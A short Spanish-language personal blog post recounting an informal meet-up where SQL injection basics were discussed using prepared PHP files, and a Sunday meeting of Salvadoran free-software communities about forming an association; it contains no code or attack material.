Después de dar el aviso de la demo de SQL Injection, por IRC se armó la mini-reunión el día viernes y debido a que por estar travesiando cosas que no debía me había tirado el apache/mysql le pedí a vostorga que llevara su laptop con una instalación LAMP por default, así que el viernes estuvimos un rato reunidos con elsimio y vostorga, no fue una demo porque la gente de la bolsa tiene como "medida de seguridad...???" apagar el server me parece que los fines de semana... asi que el viernes que nos reunimos no se pudo... pero como todo boy scout me había preparado unos .php para ver el codigo y demostrar lo que pasa con los querys cuando se inyectan, asi que hicimos uso de ellos para poder hablar un poco sobre el tema, cabe aclarar que no soy experto en el tema, solo compartí lo poco que se... SQL Injection es un tema bastante extenso y con miles de variantes, pero ya que esto era bastante básico me decidí a hablar un poco sobre ello, espero en unos días publicar lo hablado.

Por otra parte, el domingo estuvimos reunidas las diferentes comunidades de linux y software libre del pais debatiendo un poco sobre la futura creación/modificación de una Asociación de Software Libre de El Salvador que englobe a las otras comunidades y así podamos tener presencia formal para diferentes proyectos, así que veremos que hacemos.

saludos!